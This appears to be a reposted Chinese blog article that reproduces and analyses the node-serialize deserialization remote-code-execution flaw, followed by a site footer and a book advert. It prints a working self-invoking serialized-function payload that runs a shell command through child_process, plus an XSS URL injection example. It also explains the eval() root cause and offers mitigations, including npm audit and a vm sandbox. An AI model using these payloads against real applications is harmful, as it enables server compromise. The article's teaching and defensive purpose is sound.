内容简介:最近关注到一些Node.js的漏洞,比较感兴趣的一个反序列化导致远程代码执行的漏洞,个人开发Node.js也有不短时间,决定尝试复现分析它并给出一些开发建议,遂有此文。我使用
最近关注到一些Node.js的漏洞,比较感兴趣的一个反序列化导致远程代码执行的漏洞,个人开发Node.js也有不短时间,决定尝试复现分析它并给出一些开发建议,遂有此文。
漏洞复现
我使用 0.0.4
版本的 node-serialize
进行复现。
首先使用Node.js 自带的 child_process
模块的 exec()
函数构造命令。 child_process.exec()
可以衍生一个 shell 并在shell中执行命令。
const child_process = require('child_process'); child_process.exec('ls /', function(error, stdout, stderr) { console.log(stdout) });
运行上面代码可以得到如下结果:
确定命令可以执行后,构造一个对象,将这个函数放入对象,使用 node-serialize
序列化这个对象。
const serialize = require('node-serialize'); const y = { rce : function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); } } console.log("Serialized: n" + serialize.serialize(y));
运行上面代码得到如下结果:
但这只是一个包含可执行函数的对象,并不能执行。尝试将序列化的函数加上括号使其自执行,然后再反序列化对象。
const serialize = require('node-serialize'); const payload = '{"rce":"_$$ND_FUNC$$_function (){require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });}()"}'; serialize.unserialize(payload);
运行代码可见执行成功:
漏洞分析
问题在 node-serialize/lib/serialize.js
中第75行:
unserialize
函数直接使用 eval()
反序列化JavaScript对象,在JavaScript中, eval()
可以计算一个表达式并且执行它。因此在没有任何保护的情况下,传入的序列化函数对象就被执行了。
Eval is evil
在这里想针对 eval()
多说几句,在研究XSS漏洞的时候,一定见过如下例子:
var getarg = function(){ var url = window.location.href; var allargs = url.split("?")[1]; if (allargs!=null && allargs.indexOf("=")>0) { var args = allargs.split("&"); for(var i=0; i<args.length; i++) { var arg = args[i].split("="); eval('this.'+arg[0]+'="'+arg[1]+'";'); } } };
我们可以构造这样的payload形成XSS:
http://domain.com/xxx.html?key=aaa";alert(1);//
那么在Node.js,其实什么都没有变。
Node.js 是一个基于 Chrome V8 引擎的 JavaScript 运行环境。JavaScript中的很多函数在Node.js中同样适用。Node.js又是一个运行在服务端的JavaScript,在这样的环境中使用 eval()
就会带来更严重的问题。
同样的问题也会出现在 SetTimeout()
和 SetInterval()
这两个函数中,他们的第一个参数可以是字符串也可以是函数。当使用字符串传入恶意内容,到了相应的时间也可以被执行。幸运的是,在Node.js中第一个参数必须是函数。
如何避免
如果你尝试过复现这个漏洞,在执行 npm install node-serialize
时会出现这样的提示:
按照提示执行命令 npm audit
可以得到如下详细信息:
因此在我们使用 npm install
的时候留意一下提示信息是很有必要的。
搜索npm网站,我发现了另一个1000+ star的序列化包,这个包直接没有提供反序列化方法,而是发现了这么一段文字:
好吧,它成功的把隐患留给了你。那么必须使用 eval()
的时候需要注意什么呢?
- 不要将用户输入的不可信数据直接传入其中
这样的数据包括但不限于用户表单、URL参数、Cookies、Header等。
- 使用
VM
中的沙箱执行不可信代码
Node.js原生提供一个沙箱,可以使执行环境和当前上下文分离。有关 VM
的具体使用方法可参考 Node.js v10.9.0 Documentation – VM 。
在这里我将 serialize.js
的 unserialize
函数抽出,精简一下并使用沙箱实现相同逻辑:
const vm = require('vm'); function unserialize (obj, originObj) { const FUNCFLAG = '_$$ND_FUNC$$_'; let isIndex; if (typeof obj === 'string') { obj = JSON.parse(obj); isIndex = true; } originObj = originObj || obj; const circularTasks = []; for(const key in obj) { if(obj.hasOwnProperty(key)) { if(typeof obj[key] === 'string') { if(obj[key].indexOf(FUNCFLAG) === 0) { let result={}; const sandbox = { result,FUNCFLAG,obj,key }; vm.createContext(sandbox); const code = 'result =eval("(" + obj[key].substring(FUNCFLAG.length) + ")")'; vm.runInContext(code, sandbox); obj[key] = sandbox.result; } } } } if (isIndex) { circularTasks.forEach(function(task) { task.obj[task.key] = getKeyPath(originObj, task.obj[task.key]); }); } return obj; };
实现后,使用正常payload和恶意payload分别调用:
const payload ='{"obj1":1}' const evilPayload = '{"rce":"_$$ND_FUNC$$_function (){require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });}()"}'; const result = unserialize(payload); console.log(result) const evilResult = unserialize(evilPayload); console.log(evilResult)
这次使用 evilPayload
调用 unserialize
报错,说明沙箱生效。
参考
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
iOS软件开发揭密
虞斌 / 电子工业出版社 / 2011-5-1 / 79.00元
本书以严密的体系性提供了iPhone和iPad软件开发从入门到专家的系统性知识,并提供来源于真实项目的可重用商业代码。书中的每个实例都是项目经验的提炼,深入浅出地讲解iPhone和iPad软件开发的核心技术要点,基本涵盖了iOS软件开发在真实商业项目中所需要的所有主题,并将实例介绍的技术深度和超值的实用性结合在一起,成为本书的特色。 随书附赠的光盘中包含了书中大量案例的完整工程源代码,可以让......一起来看看 《iOS软件开发揭密》 这本书的介绍吧!